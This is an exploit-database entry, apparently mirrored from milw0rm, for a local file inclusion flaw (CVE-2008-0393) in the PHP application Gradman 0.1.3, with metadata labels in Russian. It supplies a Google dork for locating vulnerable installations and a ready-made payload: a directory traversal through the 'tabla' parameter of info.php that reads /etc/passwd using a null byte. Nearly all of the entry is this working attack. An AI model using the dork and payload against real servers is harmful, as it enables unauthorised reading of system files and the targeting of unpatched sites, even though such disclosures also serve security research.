Exploit Gradman 0.1.3 - 'info.php' Local File Inclusion

[Exploiter]

EDB-ID

4936

Проверка EDB

1. Пройдено

Автор

SYNDR0ME

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-0393

Дата публикации

2008-01-18

Software: Gradman <= 0.1.3
HomePage: http://gradman.xe1ido.com.mx/
Software: Gradman <= 0.1.3
Exploit:  Local File Inclusion [High]
Dork:    "powered by Gradman"
Bug Found By: Syndr0me! site: www.remoteexecution.es
Where: info.php?tabla=
Greetz: S4nt0!, Yubix, Xarnuz, Chame, Electr0cbax, komtec1, f34r
[+] Exploit:
info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-01-18]